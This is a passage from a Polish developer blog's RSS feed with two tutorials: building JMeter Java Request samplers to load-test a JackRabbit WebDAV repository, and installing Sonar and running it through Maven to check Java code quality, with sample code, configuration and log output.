&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">try</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DavMethod pFind <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> PropFindMethod<span style="color: #009900;">&#40;</span>getWebDavUrl<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>,DavConstants.<span style="color: #006633;">PROPFIND_ALL_PROP</span>, DavConstants.<span style="color: #006633;">DEPTH_1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HttpClient client <span style="color: #339933;">=</span> initHttpClient<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; responseCode <span style="color: #339933;">=</span> client.<span style="color: #006633;">executeMethod</span><span style="color: #009900;">&#40;</span>pFind<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MultiStatus multiStatus <span style="color: #339933;">=</span> pFind.<span style="color: #006633;">getResponseBodyAsMultiStatus</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MultiStatusResponse<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> responses <span style="color: #339933;">=</span> multiStatus.<span style="color: #006633;">getResponses</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MultiStatusResponse currResponse<span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">int</span> i <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> responses.<span style="color: #006633;">length</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; currResponse <span style="color: #339933;">=</span> responses<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>currResponse.<span style="color: #006633;">getHref</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">endsWith</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;.txt&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; list.<span style="color: #006633;">add</span><span style="color: #009900;">&#40;</span>Utils.<span style="color: #006633;">getFileName</span><span style="color: #009900;">&#40;</span>currResponse.<span style="color: #006633;">getHref</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">catch</span> <span style="color: #009900;">&#40;</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aexception+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Exception</span></a> e<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; log.<span style="color: #006633;">error</span><span style="color: #009900;">&#40;</span>e<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Acollections+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Collections</span></a>.<span style="color: #006633;">sort</span><span style="color: #009900;">&#40;</span>list<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">return</span> list<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>W podobny sposób zaimplementowane są pozostałe metody Get i Delete.</p>
<p><strong>Projekt biblioteki JMeter</strong></p>
<p>Aby wykonywać żądania WebDAV, wykorzystamy komponent Java Request. Pozwala on na wykonywanie metod napisanych w języku Java. Będziemy wykonywać metody powyższego Api. Aby było to możliwe, należy utworzyć dodatkowe klasy testu JMeter, które rozszerzają interfejs &#8222;org.apache.jmeter.protocol.java.sampler.JavaSamplerClient&#8221;. Dla każdej z metod tworzymy klasę JMetera. Zawiera ona następujące metody:</p>
<ul>
<li>getDefaultParameters &#8211; lista parametrów metody</li>
<li>runTest &#8211; ciało metody testującej</li>
<li>setupTest &#8211; przygotowanie testu (metoda wykonywana jako pierwsza)</li>
<li>teardownTest &#8211; zakończenie testu (metoda wykonywana jako ostatnia)</li>
</ul>
<p>W metodzie runTest implementujemy uruchomienie akcji WebDAV.</p>
<p>Przykładowy kod klasy testującej metodę PUT w JMeter:</p>
<div class="codecolorer-container java default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br /></div></td><td><div class="java codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">package</span> <span style="color: #006699;">pl.atena.webdav.jmeter</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">org.apache.jmeter.config.Arguments</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">org.apache.jmeter.protocol.java.sampler.AbstractJavaSamplerClient</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">org.apache.jmeter.protocol.java.sampler.JavaSamplerContext</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">org.apache.jmeter.samplers.SampleResult</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">pl.atena.webdav.PutWebDav</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #008000; font-style: italic; font-weight: bold;">/**<br />
* Klasa JMeter-a potrzebna do uruchomienia metod interfejsu WebDAV<br />
*/</span><br />
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> PutWebDavJMeter <span style="color: #000000; font-weight: bold;">extends</span> AbstractJavaSamplerClient <span style="color: #000000; font-weight: bold;">implements</span> JMeterStatics <span style="color: #009900;">&#123;</span><br />
<br />
&nbsp; &nbsp; @Override<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">public</span> Arguments getDefaultParameters<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; Arguments arg <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Arguments<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; arg.<span style="color: #006633;">addArgument</span><span style="color: #009900;">&#40;</span>FILE_NAME, <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; arg.<span style="color: #006633;">addArgument</span><span style="color: #009900;">&#40;</span>DEST_NAME, <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; arg.<span style="color: #006633;">addArgument</span><span style="color: #009900;">&#40;</span>WEB_DAV_URL, STATIC_WEB_DAV_URL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">return</span> arg<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; @Override<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">public</span> SampleResult runTest<span style="color: #009900;">&#40;</span>JavaSamplerContext arg0<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; SampleResult result <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> SampleResult<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; result.<span style="color: #006633;">sampleStart</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; PutWebDav putWebDav <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> PutWebDav<span style="color: #009900;">&#40;</span>arg0.<span style="color: #006633;">getParameter</span><span style="color: #009900;">&#40;</span>WEB_DAV_URL<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; putWebDav.<span style="color: #006633;">putFile</span><span style="color: #009900;">&#40;</span>arg0.<span style="color: #006633;">getParameter</span><span style="color: #009900;">&#40;</span>FILE_NAME<span style="color: #009900;">&#41;</span>, arg0.<span style="color: #006633;">getParameter</span><span style="color: #009900;">&#40;</span>DEST_NAME<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; result.<span style="color: #006633;">sampleEnd</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; result.<span style="color: #006633;">setSuccessful</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; result.<span style="color: #006633;">setResponseCodeOK</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; result.<span style="color: #006633;">setResponseMessage</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;&lt;response&gt;&quot;</span> <span style="color: #339933;">+</span> putWebDav.<span style="color: #006633;">getResponseCode</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">&quot;&lt;/response&gt;&lt;fileName&gt;&quot;</span> <span style="color: #339933;">+</span> arg0.<span style="color: #006633;">getParameter</span><span style="color: #009900;">&#40;</span>DEST_NAME<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">&quot;&lt;/fileName&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; result.<span style="color: #006633;">setSamplerData</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Put source &quot;</span> <span style="color: #339933;">+</span> arg0.<span style="color: #006633;">getParameter</span><span style="color: #009900;">&#40;</span>FILE_NAME<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">&quot; as &quot;</span> <span style="color: #339933;">+</span> arg0.<span style="color: #006633;">getParameter</span><span style="color: #009900;">&#40;</span>DEST_NAME<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; result.<span style="color: #006633;">setSampleLabel</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;PutWebDav&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">return</span> result<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>W metodzie getDefaultParameters umieszczamy listę parametrów, jakie mają być dostępne do ustawienia z poziomu JMetera. Widok na listę parametrów zdefiniowanych w powyższym teście:<br />
<a href="http://blog.atena.pl/wp-content/uploads/2010/12/img10.png"><img class="alignnone size-full wp-image-1211" title="img10" src="http://blog.atena.pl/wp-content/uploads/2010/12/img10.png" alt="" /></a></p>
<p>Analogicznie tworzymy klasy testowe dla pozostałych metody WebDAV.<br />
Po skompilowaniu należy umieścić klasy java w pliku jar i skopiować go to katalogu JMetera: “&lt;jmeter.home&gt;/lib/ext”. Po zrestartowaniu JMetera oraz wybraniu komponentu “Java Request” pojawią się nowe opcje:</p>
<p><a href="http://blog.atena.pl/wp-content/uploads/2010/12/img01.jpg"><img class="alignnone size-medium wp-image-1164" src="http://blog.atena.pl/wp-content/uploads/2010/12/img01-300x199.jpg" alt="" width="300" height="199" /></a></p>
<p><strong>Skrypt testowy</strong></p>
<p>Widok na hierarchie skryptu testowego:<br />
<a href="http://blog.atena.pl/wp-content/uploads/2010/12/img02.png"><img class="alignnone size-full wp-image-1199" title="img02" src="http://blog.atena.pl/wp-content/uploads/2010/12/img02.png" alt="" width="246" height="329" /></a></p>
<p>Opis konfiguracji:<br />
Zmienne globalne &#8211; zmienne wykorzystywane w różnych komponentach:<br />
<a href="http://blog.atena.pl/wp-content/uploads/2010/12/img07.png"><img class="alignnone size-full wp-image-1195" title="img07" src="http://blog.atena.pl/wp-content/uploads/2010/12/img07.png" alt="" /></a></p>
<p>VAR_LICZBA_UZYTKOWNIKOW &#8211; liczba symulowanych równolegle pracujących użytkowników<br />
VAR_LICZBA_POWTORZEN &#8211; liczba powtórzeń testu<br />
VAR_LICZBA_KATALOGOW &#8211; liczba węzłów na których pracują użytkownicy<br />
VAR_WEB_DAV_URL &#8211; adres WebDav</p>
<p>Java Request Put<br />
<a href="http://blog.atena.pl/wp-content/uploads/2010/12/img03.png"><img class="alignnone size-full wp-image-1200" title="img03" src="http://blog.atena.pl/wp-content/uploads/2010/12/img03.png" alt="" /></a></p>
<p>sourceFileName &#8211; lokalizacja pliku źródłowego (w tym przypadku plik tekstowy o wielkości 256Kb)<br />
destName &#8211; nazwa docelowa pliku w JackRabbit, funkcja ${__counter(false)} zwraca kolejną wartość, zaczynając od 1, parametr false oznacza, że licznik jest wspólny dla wszystkich użytkowników<br />
webDavURL &#8211; adres serwera WebDav<br />
Jako dziecko do tego komponentu dodany jest komponent &#8222;Regular Expression Extractor&#8221;. Wykorzystujemy go do odczytania nazwy, pod którą został zapisanego pliku w JackRabbit. Nazwę tę umieszczamy w odpowiedzi żądania w tagach &lt;fileName&gt;&#8230;&lt;/fileName&gt; (kod do obejrzenia w klasie PutWebDavJMeter).<br />
<a href="http://blog.atena.pl/wp-content/uploads/2010/12/img04.png"><img class="alignnone size-full wp-image-1201" title="img04" src="http://blog.atena.pl/wp-content/uploads/2010/12/img04.png" alt="" /></a></p>
<p>Java Request &#8211; List<br />
Wylistowanie wszystkich plików z węzła podanego w parametrze webDavURL. Plik testowy został tak napisany, że zwraca nazwy plików w znacznikach &lt;name&gt;&#8230;&lt;/name&gt;. Wyrażenie regularne wyciąga listę nazw plików z odpowiedzi Java Request i umieszcza w zmiennej VAR_CONTENT_NAME_IN.<br />
<a href="http://blog.atena.pl/wp-content/uploads/2010/12/img05.png"><img class="alignnone size-full wp-image-1202" title="img05" src="http://blog.atena.pl/wp-content/uploads/2010/12/img05.png" alt="" /></a></p>
<p>ForEach Controller &#8211; Get<br />
Odczytuje listę nazw plików ze zmiennej VAR_CONTENT_NAME_IN i iteruje po niej umieszczając konkretne nazwy plików w zmiennej VAR_CONTENT_NAME_OUT.</p>
<p><a href="http://blog.atena.pl/wp-content/uploads/2010/12/img11.png"><img class="alignnone size-full wp-image-1236" title="img06" src="http://blog.atena.pl/wp-content/uploads/2010/12/img06.png" alt="" /></a></p>
<p>Java Request Get<br />
Wywołuję metodę GET na pliku podanym w zmiennej destName:<br />
<a href="http://blog.atena.pl/wp-content/uploads/2010/12/img11.png"><img class="alignnone size-full wp-image-1213" title="img11" src="http://blog.atena.pl/wp-content/uploads/2010/12/img11.png" alt="" /></a></p>
<p><strong>Wykonanie testu JMeter</strong></p>
<p>Tak przygotowany test umożliwia nam manipulowanie liczbą użytkowników, liczbą węzłów, do których zapisujemy pliki oraz rozmiarem pliku.</p>
<p>Skrypt uruchamiamy, wybierając opcję z menu Uruchom-&gt;Start, a następnie pozostaje nam już tylko cieszyć się napływającymi wynikami:<br />
<a href="http://blog.atena.pl/wp-content/uploads/2010/12/img09.png"><img class="alignnone size-full wp-image-1214" title="img09" src="http://blog.atena.pl/wp-content/uploads/2010/12/img09.png" alt="" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.atena.pl/badanie-wydajnosci-repozytorium-plikow-jackrabbit/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>W walce o jakość kodu</title>
		<link>http://blog.atena.pl/dbalosc-o-jakosc-kodu</link>
		<comments>http://blog.atena.pl/dbalosc-o-jakosc-kodu#comments</comments>
		<pubDate>Thu, 17 Jun 2010 13:09:08 +0000</pubDate>
		<dc:creator>Adam Andrzejewski</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[Narzędzia]]></category>
		<category><![CDATA[sonar]]></category>

		<guid isPermaLink="false">http://blog.atena.pl/?p=963</guid>
		<description><![CDATA[Wielu programistów, zwłaszcza początkujących, nie zwraca uwagi na jakość kodu, który tworzą. Czasami brak nam czasu lub wiedzy na wytworzenie kodu, który &#8211; poza tym że działa &#8211; jest czytelny, zrozumiały i wydajny. Jakość kodu to nie tylko sławne „do not repeat yourself” (swoją drogą często zapomniane&#8230;), ale także całe zestawy reguł dbające o prostotę [...]]]></description>
			<content:encoded><![CDATA[<p>Wielu programistów, zwłaszcza początkujących, nie zwraca uwagi na jakość kodu, który tworzą. Czasami brak nam czasu lub wiedzy na wytworzenie kodu, który &#8211; poza tym że działa &#8211; jest czytelny, zrozumiały i wydajny. Jakość kodu to nie tylko sławne „do not repeat yourself” (swoją drogą często zapomniane&#8230;), ale także całe zestawy reguł dbające o prostotę utrzymania, łatwość zrozumienia, wydajność itd. Na szczęście nie musimy znać ich wszystkich, bo istnieją narzędzia które mogą nas wspierać w pisaniu kodu wysokiej jakości. Jedno z nich chciałbym przedstawić w tym artykule – jest to Sonar.</p>
<p><span id="more-963"></span></p>
<p>Sonar to opensource’owy projekt, który wykorzystuje najpopularniejsze zewnętrzne narzędzia do sprawdzania jakości kodu – pmd, findbugs czy checkstyle. Wyniki prezentowane są na stronie WWW. Ponieważ najlepiej temat poznawać na przykładzie, zainstalujmy Sonara i sprawdźmy jak to wygląda w praktyce.</p>
<p>Przede wszystkim potrzebujemy Sonara – można pobrać go z <a href="http://sonar.codehaus.org/downloads/">http://sonar.codehaus.org/downloads/</a> . Na potrzeby tego artykułu pobrałem wersję 2.1.2.</p>
<p>Dostarczany jest jako paczka zip/tar,  po rozpakowaniu aplikacja jest gotowa do pracy. Żadne wyrafinowane mechanizmy instalacji czy konfiguracji nie są wymagane – wystarczy wejść do folderu Sonara i uruchomić</p>
<pre>bin\windows-x86-32\StartSonar.bat</pre>
<p>w przypadku systemu operacyjnego Windows lub wybrać odpowiedni skrypt dla swojej wersji OS (dostępna jest spora ilość skryptów na systemy Linux, UNIX czy Mac OS). Po bardziej zaawansowaną konfigurację odsyłam do <a href="http://docs.codehaus.org/display/SONAR/Install+Sonar#InstallSonar-Fullinstallationin5steps" target="_blank">dokumentacji</a></p>
<p>W wyniku działania powinniśmy dostać nowe okienko powłoki. Nie należy się martwić, jeżeli jest puste – zależnie od wersji Sonara którą pobraliśmy, czasami będziemy widzieć w nim log aplikacji, a w innych wersjach log domyślnie zapisywany jest do pliku. Aplikacja Sonar dostępna jest pod adresem <a href="http://localhost:9000/">http://localhost:9000/</a></p>
<p>Jeżeli wszystko poszło dobrze, powinniśmy otrzymać stronę główną Sonara</p>
<p><a href="http://blog.atena.pl/wp-content/uploads/2010/06/Sonar.jpeg"><img class="aligncenter size-large wp-image-970" title="Sonar" src="http://blog.atena.pl/wp-content/uploads/2010/06/Sonar-1024x532.jpg" alt="" width="1024" height="532" /></a></p>
<p>Po kliknięciu odnośnika ‘Configuration’ zostaniemy przeniesieni na stronę z listą profili jakościowych domyślnie zdefiniowanych w Sonarze. Oczywiście nic nie stoi na przeszkodzie, aby zdefiniować własny styl – każda reguła posiada dokładny opis, czego dotyczy. A reguł jest aż 706. Jest więc z czego wybierać, tworząc własne profile jakości. Ja pozostanę przy domyślnym „Sonar way” – zbiera najczęstsze błędy i naruszenia.</p>
<p>Jeżeli zechcecie zmienić domyślny profil dla testów, najpierw należy się zalogować jako ‘admin’, domyślne hasło to również ‘admin’.</p>
<p>Aby wykonać analizę projektu, należy wykonać z linii komend polecenie</p>
<pre>mvn sonar:sonar</pre>
<p>Jeżeli nie masz zainstalowanego Mavena to najwyższa pora, by to zrobić &#8211; <a href="http://maven.apache.org/download.html">http://maven.apache.org/download.html</a> Ponieważ nie jest to artykuł o Mavenie, pomijam opis instalacji i konfiguracji. Na stronie projektu są dostępne materiały dobrze opisujące te zagadnienia.</p>
<p>Prawdopodobnie po przeczytaniu powyższego akapitu pomyślałeś, że Sonar nie nadaje się do twoich projektów, bo nie korzystasz z Mavena. Nic bardziej mylnego. Sonar może przeanalizować każdy projekt w Javie. Wystarczy, że dodasz do niego plik pom.xml z następującą treścią</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt;project xmlns=&quot;http ://maven.apache.org/POM/4.0.0&quot;<br />
&nbsp; &nbsp;xmlns:xsi=&quot;http ://www.w3.org/2001/XMLSchema-instance&quot;<br />
&nbsp; &nbsp;xsi:schemaLocation=&quot;http ://maven.apache.org/POM/4.0.0 http ://maven.apache.org/xsd/maven-4.0.0.xsd&quot;&gt;<br />
<br />
&nbsp; &nbsp;&lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;<br />
&nbsp; &nbsp;&lt;groupId&gt;pl.atena&lt;/groupId&gt;<br />
&nbsp; &nbsp;&lt;artifactId&gt;test2&lt;/artifactId&gt;<br />
&nbsp; &nbsp;&lt;name&gt;Test2&lt;/name&gt;<br />
&nbsp; &nbsp;&lt;version&gt;1.0&lt;/version&gt;<br />
<br />
&nbsp; &nbsp;&lt;build&gt;<br />
&nbsp; &nbsp; &nbsp; &lt;sourceDirectory&gt;C:\projekt\zrodla&lt;/sourceDirectory&gt;<br />
&nbsp; &nbsp; &nbsp; &lt;plugins&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;plugin&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;artifactId&gt;maven-compiler-plugin&lt;/artifactId&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;configuration&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;source&gt;1.5&lt;/source&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;target&gt;1.5&lt;/target&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;excludes&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;exclude&gt;**/*.*&lt;/exclude&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;/excludes&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/configuration&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;/plugin&gt;<br />
&nbsp; &nbsp; &nbsp; &lt;/plugins&gt;<br />
&nbsp; &nbsp;&lt;/build&gt;<br />
&nbsp; &nbsp;&lt;properties&gt;<br />
&nbsp; &nbsp; &nbsp; &lt;sonar.dynamicAnalysis&gt;false&lt;/sonar.dynamicAnalysis&gt;<br />
&nbsp; &nbsp;&lt;/properties&gt;<br />
&lt;/project&gt;</div></td></tr></tbody></table></div>
<p>W pliku definiujemy nazwę projektu, którego dotyczy analiza oraz ścieżkę do katalogu z plikami źródłowymi projektu. W katalogu, w którym jest nasz plik wywołujemy z listy poleceń</p>
<pre>mvn sonar:sonar</pre>
<p>W efekcie powinnien pojawić się taki trace:</p>
<pre>C:\Documents and Settings\adama\workspace\SonarTest\src&gt;mvn sonar:sonar
[INFO] Scanning for projects...
[INFO] Searching repository for plugin with prefix: 'sonar'.
[INFO] ------------------------------------------------------------------------
[INFO] Building SonarTest
[INFO]    task-segment: [sonar:sonar] (aggregator-style)
[INFO] ------------------------------------------------------------------------
[INFO] [sonar:sonar]
[INFO] Sonar host: http://localhost:9000
[INFO] Sonar version: 2.1.2
[INFO] [sonar-core:internal]
[INFO]  Database dialect class org.sonar.api.database.dialect.Derby
[INFO]  -------------  Analyzing SonarTest
[INFO]  Selected quality profile : Sonar way, language=java
[INFO]  Configure maven plugins...
[INFO]  Sensor SquidSensor...
[INFO]  Java AST scan...
[INFO]  Java AST scan done: 265 ms
[INFO]  Squid extraction...
[INFO]  Squid extraction done: 906 ms
[INFO]  Sensor SquidSensor done: 1250 ms
[INFO]  Sensor JavaSourceImporter...
[INFO]  Sensor JavaSourceImporter done: 3188 ms
[INFO]  Sensor AsynchronousMeasuresSensor...
[INFO]  Sensor AsynchronousMeasuresSensor done: 625 ms
[INFO]  Execute maven plugin maven-pmd-plugin...
[INFO] ------------------------------------------------------------------------
[INFO] Building SonarTest
[INFO]    task-segment: [org.apache.maven.plugins:maven-pmd-plugin:2.4:pmd]
[INFO] ------------------------------------------------------------------------
[INFO] [pmd:pmd]
[WARNING] Unable to locate Source XRef to link to - DISABLED
[WARNING] File encoding has not been set, using platform encoding Cp1250, i.e. b
uild is platform dependent!
[INFO]  Execute maven plugin maven-pmd-plugin done: 5265 ms
[INFO]  Sensor PmdSensor...
[INFO]  Sensor PmdSensor done: 3375 ms
[INFO]  Sensor ProfileSensor...
[INFO]  Sensor ProfileSensor done: 16 ms
[INFO]  Sensor ProjectLinksSensor...
[INFO]  Sensor ProjectLinksSensor done: 94 ms
[INFO]  Sensor VersionEventsSensor...
[INFO]  Sensor VersionEventsSensor done: 156 ms
[INFO]  Execute maven plugin maven-checkstyle-plugin...
[INFO] ------------------------------------------------------------------------
[INFO] Building SonarTest
[INFO]    task-segment: [org.apache.maven.plugins:maven-checkstyle-plugin:2.4:ch
eckstyle]
[INFO] ------------------------------------------------------------------------
[INFO] [checkstyle:checkstyle]
[WARNING] File encoding has not been set, using platform encoding Cp1250, i.e. b
uild is platform dependent!
